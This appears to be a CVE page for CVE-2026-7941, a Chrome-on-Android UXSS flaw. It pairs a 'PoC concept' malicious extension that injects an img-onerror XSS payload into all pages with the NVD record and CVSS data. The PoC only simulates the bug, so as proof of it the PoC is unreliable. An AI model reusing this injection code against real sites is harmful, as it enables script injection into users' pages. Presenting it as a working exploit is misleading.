CVE-2026-7941

/* * PoC Concept for CVE-2026-7941 * This demonstrates a potential payload injection via a crafted Chrome Extension * targeting the insufficient validation of untrusted input. */ // manifest.json for the malicious extension /* { "manifest_version": 3, "name": "UXSS Demo", "version": "1.0", "content_scripts": [ { "matches": ["<all_urls>"], "js": ["payload.js"] } ] } */ // payload.js - The actual exploit logic (function() { console.log('[+] CVE-2026-7941 PoC Execution Started'); // Simulating the injection of arbitrary script/HTML due to lack of validation // In a real scenario, this might bypass standard DOM sanitization var maliciousInput = '<img src=x onerror=alert(\'XSS via CVE-2026-7941\')>'; // Attempt to inject into the current document context try { var targetDiv = document.createElement('div'); targetDiv.innerHTML = maliciousInput; document.body.appendChild(targetDiv); console.log('[+] Payload injected successfully'); } catch (e) { console.log('[-] Injection failed: ' + e.message); } // Further exploitation could involve fetching data from other origins // if the UXSS successfully bypasses SOP. })();

{"cve": {"id": "CVE-2026-7941", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:42.427", "lastModified": "2026-05-06T23:33:34.560", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient validation of untrusted input in Mobile in Google Chrome on Android prior to 148.0.7778.96 allowed a local attacker to inject arbitrary scripts or HTML (UXSS) via a crafted Chrome Extension. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/493955234", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}